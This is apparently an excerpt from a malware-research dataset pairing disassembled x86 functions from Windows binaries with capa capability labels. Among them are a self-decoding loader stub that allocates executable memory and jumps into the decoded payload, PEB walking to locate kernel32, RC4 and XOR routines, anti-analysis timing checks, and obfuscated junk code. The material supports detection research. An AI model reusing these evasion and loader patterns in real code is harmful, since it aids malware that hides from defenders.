joyce8/EMBER2024-capa huggingface dataset:
Function at 0xb3a4d0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push eax
mov eax, 0xa
add esp, 0xfffff004
push eax
dec eax
jne 0xb3a4d9
mov eax, dword [ebp - 4]
add esp, 0xffffffc8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0xa03c], ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0xb3a9a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 5], 0
mov eax, dword [ebp - 4]
mov byte [eax + 0xe], 0
lea eax, [ebp - 0x18]
call fcn.00a14dc8
xor ecx, ecx
mov dl, 1
mov eax, dword [0xb090e8]
call fcn.00b0b060
mov dword [ebp - 0x20], eax
xor eax, eax
push ebp
push 0xb3a973
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [ebp - 0x20]
call fcn.00b0b14c
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 4]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0xb3a4cc
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 4]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0xb3a4b0
mov eax, dword [ebp - 0x20]
mov edx, dword [ebp - 4]
mov dword [eax + 0x8c], edx
mov dword [eax + 0x88], 0xb3a4b4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x90]
mov dl, byte [0xb3a9b4]
call fcn.00b0a520
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
call fcn.00aeccb4
test al, al
je 0xb3a5b0
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x20]
call fcn.00b0a9b8
jmp 0xb3a5be
mov eax, dword [ebp - 4]
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x20]
call fcn.00b0aa38
mov eax, dword [ebp - 4]
movzx edx, word [eax + 0xc]
mov eax, dword [ebp - 0x20]
call fcn.00b0aab8
xor eax, eax
push ebp
push 0xb3a625
push dword fs:[eax]
mov dword fs:[eax], esp
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
mov dl, 1
mov eax, dword [ebp - 0x20]
call fcn.00b0a978
jmp 0xb3a60d
push 0x1f4
call sub.kernel32.dll_Sleep_1
mov eax, dword [0xb74238]
mov eax, dword [eax]
call fcn.00a779e8
mov eax, dword [ebp - 0x20]
cmp byte [eax + 0x30], 0
jne 0xb3a61b
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, 0xfa0
jbe 0xb3a5ee
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0xb3a62f
call fcn.01814329
Function at 0xb4dba8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffb0
push ebx
push esi
push edi
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [ebp - 8], eax
xor eax, eax
mov dword [ebp - 4], eax
xor eax, eax
mov dword [esi], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0x40
call fcn.00b4d3e4
test al, al
jne 0xb4dbe4
push 0xd
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 1
mov dword [ebp - 0xc], edi
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x5a4d
je 0xb4dc06
push 0xc1
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
add eax, 0xf8
cdq
push edx
push eax
call fcn.00b4d3e4
test al, al
jne 0xb4dc35
push 0xd
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 3
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
cmp dword [eax], 0x4550
je 0xb4dc6f
push 0xc1
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 4
mov eax, dword [ebp - 0x10]
cmp word [eax + 4], 0x14c
je 0xb4dc8f
push 0xc1
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 5
mov eax, dword [ebp - 0x10]
test byte [eax + 0x38], 1
je 0xb4dcad
push 0xc1
call sub.kernel32.dll_SetLastError
jmp 0xb4dfa8
mov dword [esi], 6
xor eax, eax
push ebp
push 0xb4df93
push dword fs:[eax]
mov dword fs:[eax], esp
push 0xa11bdb8
pushfd
test byte [esp + 4], 0xad
not word [esp + 4]
js 0x17acbcc
push 0xffffffffffffffe2
cmp al, byte [esp + edx*8 - 0x78]
cmp eax, dword [ebp + 0x40]
aam 0x4e
sbb bh, byte [ebp - 0x2c395935]
xor eax, dword [eax - 0x2c]
or eax, 0x301442d7
test eax, 0x54430813
cmpsb byte [esi], byte es:[edi]
xchg edx, eax
outsd dx, dword [esi]
mov esi, 0xb504026b
mov esp, 0x5265bc8b
inc esi
mov ah, 0x66
imul eax, dword [esp + esi + 0x4d], 9
mov esi, 0x560bbad7
lodsb al, byte [esi]
and eax, 0x5e80cbb8
xchg ebx, eax
push ebp
mov dword [edi - 0x297bd220], 0xfd5497f0
neg byte [ecx + 0x55]
dec edi
inc ebx
lds esp, [ebp + edx*2 + 0x55]
ror byte [edi - 5], 0xa3
stosb byte es:[edi], al
aas
push edx
mov ebp, 0xaa8cd0ab
push ecx
push ebp
fadd st(4)
salc
jbe 0xb4dd8d
push esp
wait
push edi
push esp
invalid
mov edx, 0x34422318
cli
or esi, edx
inc edi
aam 0x66
inc edi
stosb byte es:[edi], al
nop
sub byte [eax - 0x4dabf00e], ah
sub eax, dword [edi + ecx + 0x54537645]
mov byte [0x9f6b7299], al
dec esp
jnp 0xb4de05
push ecx
push esp
adc edi, dword [ebp - 0x6b01abbd]
inc ebp
scasd eax, dword es:[edi]
stosb byte es:[edi], al
rcr ah, cl
ret 0xae99
pushal
dec ebx
mov dl, 0x1d
invalid
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14
mov word [esp + 4], 0x148f
add word [esp + 4], 0xcea3
mov dword [esp + 4], 0xc362a3b3
push dword [esp]
popfd
lea esp, [esp + 4]
call fcn.017ecdee
jmp 0x17c4a49
mov ecx, dword [esi]
mov edx, 0xe9128e3f
add esi, 4
xor ecx, ebx
ror dx, 0x81
movzx eax, dx
rol ecx, 1
jmp 0x177b5a0
Function at 0xb575fc
Capabilities:
Check for time delay via gettickcount

Disassembly:
ror ecx, cl
mov dword [esp], ecx
mov cl, byte [ebp + 4]
add ebp, 4
shrd ax, dx, cl
not dword [esp]
mov ecx, dword [esp]
movzx edx, cx
mov word [ebp + edx - 0xfe3f], ax
movzx eax, byte [esp + ecx*2 - 0x6579fc7e]
call fcn.0180648c

Function at 0xb5762c
Capabilities:
Check for time delay via gettickcount

Disassembly:
call fcn.01797bec
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0xb74334]
sub eax, dword [edx]
cmp eax, 0x1b7740
jb 0xb57657
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [0xb74334]
mov dword [edx], eax
call fcn.00ad0b58
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xb57699
lea eax, [ebp - 0xd4]
mov edx, 2
call fcn.00a14dec
lea eax, [ebp - 0xcc]
mov edx, 2
call fcn.00a15538
lea eax, [ebp - 0x20]
mov edx, 7
call fcn.00a14dec
ret
Function at 0xb5e9b0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0xb5e9b8
push ecx
push ebx
push esi
mov eax, 0xb5e358
call fcn.00a17398
mov esi, dword [0xb74238]
xor eax, eax
push ebp
push 0xb5eb8a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.00a130b0
cmp eax, 2
jne 0xb5ea49
lea edx, [ebp - 0x14]
mov eax, 1
call fcn.00a13118
mov eax, dword [ebp - 0x14]
xor edx, edx
call fcn.00a19db0
call fcn.00aef5c4
mov ebx, 0x64
lea edx, [ebp - 0x18]
mov eax, 2
call fcn.00a13118
mov eax, dword [ebp - 0x18]
call fcn.00a15298
push eax
call sub.kernel32.dll_DeleteFileA
lea edx, [ebp - 0x1c]
mov eax, 2
call fcn.00a13118
mov eax, dword [ebp - 0x1c]
call fcn.00a1a268
test al, al
je 0xb5ea49
push 0xa
call sub.kernel32.dll_Sleep_1
dec ebx
jne 0xb5ea0b
mov al, byte [0xb5eb98]
push eax
lea eax, [ebp - 0x20]
push eax
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00a13118
mov eax, dword [ebp - 0x24]
xor ecx, ecx
mov edx, 0xb5eba4
call fcn.00a1f390
mov eax, dword [ebp - 0x20]
call fcn.00a15298
push eax
push 0
push 0
call fcn.00a17700
mov ebx, eax
call sub.kernel32.dll_GetLastError_1
cmp eax, 0xb7
jne 0xb5eac0
push 0x40
push 0xb5eba8
lea edx, [ebp - 0x2c]
mov eax, dword [0xb7431c]
call fcn.00a170c8
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x28]
call fcn.00ad11d8
mov eax, dword [ebp - 0x28]
call fcn.00a15298
push eax
push 0
call sub.user32.dll_MessageBoxA_1
jmp 0xb5eb6f
mov dl, 1
mov eax, dword [0xa29c84]
call fcn.00a13f2c
mov edx, dword [0xb74230]
mov dword [edx], eax
mov eax, dword [0xb74230]
mov eax, dword [eax]
call fcn.00aec17c
test al, al
jne 0xb5eaf2
mov eax, dword [0xb74230]
mov eax, dword [eax]
call fcn.00a13f5c
jmp 0xb5eb6f
mov eax, dword [esi]
call fcn.00a77b0c
lea edx, [ebp - 0x34]
mov eax, dword [esi]
call fcn.00a78264
mov eax, dword [ebp - 0x34]
lea edx, [ebp - 0x30]
call fcn.00a1a6bc
mov eax, dword [ebp - 0x30]
call fcn.00a1aa10
mov ecx, dword [0xb74070]
mov eax, dword [esi]
mov edx, dword [0xb5027c]
call fcn.00a77b24
mov ecx, dword [0xb743f4]
mov eax, dword [esi]
mov edx, dword [0xb5d254]
call fcn.00a77b24
mov ecx, dword [0xb74108]
mov eax, dword [esi]
mov edx, dword [0xb5c458]
call fcn.00a77b24
mov ecx, dword [0xb742d4]
mov eax, dword [esi]
mov edx, dword [0xb5b4b8]
call fcn.00a77b24
mov eax, dword [esi]
call fcn.00a77ba4
push ebx
call sub.kernel32.dll_ReleaseMutex
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0xb5eb91
lea eax, [ebp - 0x34]
mov edx, 9
call fcn.00a14dec
ret

Function at 0x17d9858
Capabilities:
Authenticate hmac

Disassembly:
pushfd
pop esi
mov dword [esp + edi*8 - 0x69b62138], esi
mov esi, edi
or edi, edi
mov esi, edx
lea edi, [edi*4 - 0x764ffc5]
or edi, 0x8d922fad
mov edi, eax
jno 0x1827fad

Function at 0x1827f46
Capabilities:
Authenticate hmac

Disassembly:
mov edx, dword [ebp]
mov eax, 0x32943015
mov ax, word [eax + ebp - 0x32943011]
add ebp, 6
mov word ss:[edx], ax
sub esi, 4
call fcn.018534a3

Function at 0x1861c41
Capabilities:
Encode data using xor

Disassembly:
call fcn.017c5488
jmp 0x17792a8
Function at 0x4238a5
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00423821
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x423a1d
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x423a1d
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x4239cc
jg 0x4238fe
test eax, eax
je 0x4239c2
push 1
push 0x1000
call fcn.0041a73c
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x423924
mov eax, dword [ebp + 0x14]
push 0xc
pop edi
mov byte [eax + 0x1c], 1
mov dword [eax + 0x18], edi
jmp 0x4239b9
push 0x8000
push ebx
call fcn.00412e20
mov edi, dword [ebp + 0x14]
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x423950
jg 0x42394b
cmp ecx, 0x1000
jb 0x423950
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.004192b9
add esp, 0x10
cmp eax, 0xffffffff
je 0x423995
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x42394b
jl 0x42397c
test ecx, ecx
jne 0x42393d
push dword [ebp - 0xc]
push ebx
call fcn.00412e20
push esi
call fcn.0041703e
add esp, 0xc
xor edi, edi
jmp 0x423a2e
cmp byte [edi + 0x24], 0
je 0x4239ac
cmp dword [edi + 0x20], 5
jne 0x4239ac
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x4239b7
mov edi, dword [edi + 0x18]
jmp 0x4239b9
xor edi, edi
push esi
call fcn.0041703e
pop ecx
jmp 0x423a2e
test ecx, ecx
jg 0x42398e
jl 0x4239cc
test eax, eax
jae 0x42398e
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.00418774
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x4239ef
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x42398e
jmp 0x423a26
push ebx
call fcn.004140ed
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x42398e
mov esi, dword [ebp + 0x14]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [esi + 0x24], 1
mov dword [esi + 0x20], eax
pop edi
mov byte [esi + 0x1c], 1
mov dword [esi + 0x18], edi
jmp 0x423a2e
mov edi, dword [ebp + 0x14]
cmp byte [edi + 0x1c], 0
je 0x423a2b
mov edi, dword [edi + 0x18]
jmp 0x423a2e
push 0x16
pop edi
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.00418774
add esp, 0x10
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1007450
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100745f
pop dword [ebp - 0x10]
mov eax, 0x100745f
sub dword [ebp - 0x10], eax
mov dword [ebp - 0x20], 0x646496c6
add dword [ebp - 0x20], 0xe9edae85
mov dword [ebp - 0x1c], 0x854435e1
sub dword [ebp - 0x1c], 0x5310e99c
mov dword [ebp - 0x18], 0x40ec244d
sub dword [ebp - 0x18], 0xf49fe01f
mov dword [ebp - 0x14], 0x9b8d4a60
add dword [ebp - 0x14], 0x6472b5a0
lea eax, [ebp - 0x20]
push eax
mov eax, 0x3bc6ce0e
add eax, 0xc5394282
add eax, dword [ebp - 0x10]
call dword [eax]
mov dword [ebp - 0x20], 0x2b0e35c6
add dword [ebp - 0x20], 0x49643390
mov dword [ebp - 0x1c], 0x5fdbea0c
add dword [ebp - 0x1c], 0xe1907769
mov dword [ebp - 0x18], 0x37216e06
sub dword [ebp - 0x18], 0xd3b2019a
mov dword [ebp - 0x14], 0x3ba4a124
sub dword [ebp - 0x14], 0x3ba4a124
lea ebx, [ebp - 0x20]
push ebx
push eax
mov eax, 0x1a726941
sub eax, 0x19725845
add eax, dword [ebp - 0x10]
call dword [eax]
push 0x40
push 0x1000
push 0x35d90
push 0
call eax
mov ecx, 0x18b0728e
sub ecx, 0x18b03272
mov ebx, eax
mov edx, 0x1015000
add edx, dword [ebp - 0x10]
mov edi, 0x7e60cf8f
add edi, 0xcfb62b56
sub dword [ebp - 0xc], edx
mov esi, dword [edx]
add dword [ebp - 4], 0x1ac54149
sub esi, edi
xor dword [ebp - 8], eax
mov dword [ebx], esi
add ebx, 4
add edx, 0xbe7dce8
add edx, 0xf418231c
loop 0x1007576
add eax, 0x78e617a4
add eax, 0x871adb9f
mov ebx, eax
add eax, 0xe96551d1
sub eax, 0xe96551cc
mov ecx, 0xa831ae8c
sub ecx, 0xa731ae8c
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1008f00
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x280
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x114], 1
mov byte [ebp - 0x110], 0
push 0x103
push 0
lea eax, [ebp - 0x10f]
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
movsx edx, byte [ecx]
cmp edx, 0x22
jne 0x100901c
mov eax, dword [ebp + 8]
add eax, 1
push eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call fcn.01007450
lea edx, [ebp - 0x110]
mov dword [ebp - 0x260], edx
mov eax, dword [ebp - 0x260]
add eax, 1
mov dword [ebp - 0x264], eax
mov ecx, dword [ebp - 0x260]
mov dl, byte [ecx]
mov byte [ebp - 0x265], dl
add dword [ebp - 0x260], 1
cmp byte [ebp - 0x265], 0
jne 0x1008f7e
mov eax, dword [ebp - 0x260]
sub eax, dword [ebp - 0x264]
mov dword [ebp - 0x26c], eax
mov ecx, dword [ebp - 0x26c]
movsx edx, byte [ebp + ecx - 0x110]
cmp edx, 0x22
jne 0x100901a
lea eax, [ebp - 0x110]
mov dword [ebp - 0x270], eax
mov ecx, dword [ebp - 0x270]
add ecx, 1
mov dword [ebp - 0x274], ecx
mov edx, dword [ebp - 0x270]
mov al, byte [edx]
mov byte [ebp - 0x275], al
add dword [ebp - 0x270], 1
cmp byte [ebp - 0x275], 0
jne 0x1008fdc
mov ecx, dword [ebp - 0x270]
sub ecx, dword [ebp - 0x274]
mov dword [ebp - 0x27c], ecx
mov edx, dword [ebp - 0x27c]
mov byte [ebp + edx - 0x110], 0
jmp 0x1009031
mov eax, dword [ebp + 8]
push eax
push 0x104
lea ecx, [ebp - 0x110]
push ecx
call fcn.01007450
lea edx, [ebp - 0x258]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.kernel32.dll_FindFirstFileA]
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0xffffffff
je 0x10090b5
cmp dword [ebp - 0x114], 0
je 0x100907a
lea ecx, [ebp - 0x22c]
push ecx
call dword [sym.imp.kernel32.dll_DeleteFileA]
test eax, eax
je 0x100907a
mov dword [ebp - 0x280], 1
jmp 0x1009084
mov dword [ebp - 0x280], 0
mov edx, dword [ebp - 0x280]
mov dword [ebp - 0x114], edx
lea eax, [ebp - 0x258]
push eax
mov ecx, dword [ebp - 0x25c]
push ecx
call dword [sym.imp.kernel32.dll_FindNextFileA]
test eax, eax
jne 0x1009054
mov edx, dword [ebp - 0x25c]
push edx
call dword [sym.imp.kernel32.dll_FindClose]
mov eax, dword [ebp - 0x114]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0100dfd4
mov esp, ebp
pop ebp
ret 4
Function at 0x100dfc5
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x10105d0
call fcn.0100e974
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x1012680
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x100ddda
cmp eax, esi
jne 0x100ddcd
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x100dddd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x100ddb4
xor esi, esi
inc esi
mov eax, dword [0x101267c]
cmp eax, esi
jne 0x100ddf0
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x100de2b
mov eax, dword [0x101267c]
test eax, eax
jne 0x100de25
mov dword [0x101267c], esi
push 0x1001218
push 0x100120c
call fcn.01007450
pop ecx
pop ecx
test eax, eax
je 0x100de2b
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x100def5
mov dword [0x1012340], esi
mov eax, dword [0x101267c]
cmp eax, esi
jne 0x100de4f
push 0x1001208
push 0x1001200
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x101267c], 2
cmp dword [ebp - 0x1c], ebx
jne 0x100de5c
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x1012688], ebx
je 0x100de7d
push 0x1012688
call fcn.0100e8e9
pop ecx
test eax, eax
je 0x100de7d
push ebx
push 2
push ebx
call dword [0x1012688]
push dword [0x1012328]
push dword [0x101232c]
push dword [0x1012324]
call fcn.01007450
add esp, 0xc
mov dword [0x101233c], eax
cmp dword [0x1012330], ebx
jne 0x100dedb
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1012340], ebx
jne 0x100dee9
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x101233c]
call fcn.0100e9b9
ret
call fcn.01007450
jmp 0x100dd92
Function at 0x408b10
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov byte [ebp - 0xc], 0x53
invalid
inc ebp
cmc

Function at 0x408db0
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x408ea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 1], 0
mov dword [ebp - 8], 0
jmp 0x408ecd
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x408efd
mov ecx, dword [ebp - 8]
mov dl, byte [ebp - 8]
mov byte [ebp + ecx - 0x114], dl
mov eax, dword [ebp - 8]
xor edx, edx
div dword [ebp + 0x14]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0x10]
mov dl, byte [ecx + edx]
mov byte [ebp + eax - 0x214], dl
jmp 0x408ec4
mov dword [ebp - 8], 0
jmp 0x408f0f
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x100
jge 0x408f76
mov ecx, dword [ebp - 8]
movzx edx, byte [ebp + ecx - 0x114]
add edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x214]
add edx, ecx
and edx, 0x800000ff
jns 0x408f43
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 0xc], edx
mov edx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x114]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov al, byte [ebp + edx - 0x114]
mov byte [ebp + ecx - 0x114], al
mov ecx, dword [ebp - 0xc]
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x114], dl
jmp 0x408f06
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov byte [ebp - 1], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x10], 0
jmp 0x408fa8
mov eax, dword [ebp - 0x10]
add eax, 1
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
cmp ecx, dword [ebp + 0xc]
jae 0x40906a
mov edx, dword [ebp - 8]
add edx, 1
and edx, 0x800000ff
jns 0x408fca
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x114]
add ecx, dword [ebp - 0xc]
and ecx, 0x800000ff
jns 0x408feb
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp - 8]
mov al, byte [ebp + edx - 0x114]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov al, byte [ebp + edx - 0x114]
mov byte [ebp + ecx - 0x114], al
mov ecx, dword [ebp - 0xc]
mov dl, byte [ebp - 1]
mov byte [ebp + ecx - 0x114], dl
mov eax, dword [ebp - 8]
movzx ecx, byte [ebp + eax - 0x114]
mov edx, dword [ebp - 0xc]
movzx eax, byte [ebp + edx - 0x114]
add ecx, eax
and ecx, 0x800000ff
jns 0x409044
dec ecx
or ecx, 0xffffff00
inc ecx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ebp + ecx - 0x114]
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0x10]
movzx ecx, byte [eax]
xor ecx, edx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 0x10]
mov byte [edx], cl
jmp 0x408f9f
mov esp, ebp
pop ebp
ret

Function at 0x410c60
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
je 0x410c7f
mov ecx, dword [ebp - 4]
and ecx, 0x10
jne 0x410c83
xor al, al
jmp 0x410c85
mov al, 1
mov esp, ebp
pop ebp
ret
Function at 0x55b55a
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x65d468]
jne 0x55b564
repz ret
jmp fcn.0055e24c

Function at 0x55fd2f
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0055b65c
and dword [ebp - 4], 0
cmp dword [0x65f64c], 0
mov ebx, eax
jne 0x55fde0
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x55fe91
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x55fe91
push eax
call fcn.0055b5ea
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x65f64c], eax
call esi
push eax
call fcn.0055b5ea
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x65f650], eax
call esi
push eax
call fcn.0055b5ea
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x65f654], eax
call esi
push eax
call fcn.0055b5ea
pop ecx
mov dword [0x65f65c], eax
test eax, eax
je 0x55fde0
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0055b5ea
pop ecx
mov dword [0x65f658], eax
mov eax, dword [0x65f658]
cmp eax, ebx
je 0x55fe38
cmp dword [0x65f65c], ebx
je 0x55fe38
push eax
call fcn.0055b665
push dword [0x65f65c]
mov esi, eax
call fcn.0055b665
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x55fe38
test edi, edi
je 0x55fe38
call esi
test eax, eax
je 0x55fe2f
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x55fe2f
test byte [ebp - 0xc], 1
jne 0x55fe38
or dword [ebp + 0x10], 0x200000
jmp 0x55fe71
mov eax, dword [0x65f650]
cmp eax, ebx
je 0x55fe71
push eax
call fcn.0055b665
pop ecx
test eax, eax
je 0x55fe71
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x55fe71
mov eax, dword [0x65f654]
cmp eax, ebx
je 0x55fe71
push eax
call fcn.0055b665
pop ecx
test eax, eax
je 0x55fe71
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x65f64c]
call fcn.0055b665
pop ecx
test eax, eax
je 0x55fe91
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x55fe93
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret